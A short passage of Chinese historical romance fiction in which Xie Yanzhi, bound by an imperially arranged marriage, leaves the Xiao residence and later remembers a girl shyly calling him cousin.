元青则看着萧府跑出来的那个双丫髻,眼里满是不舍,直到萧府的大门关上,才收回了目光。 元青转身道:“世子妃又来信了,问您何时回去?” 他知晓爷心中并不喜欢世子妃,可这门亲事是圣上亲自指婚,爷根本无法抗旨。 谢宴之放下帘子,轻声道:“走吧,回府。” 他靠在车上,闭着眼,将怀中那两只银锁塞回了袖中。 此后多年,谢宴之总会想起那日,她怯生生叫他表兄的样子……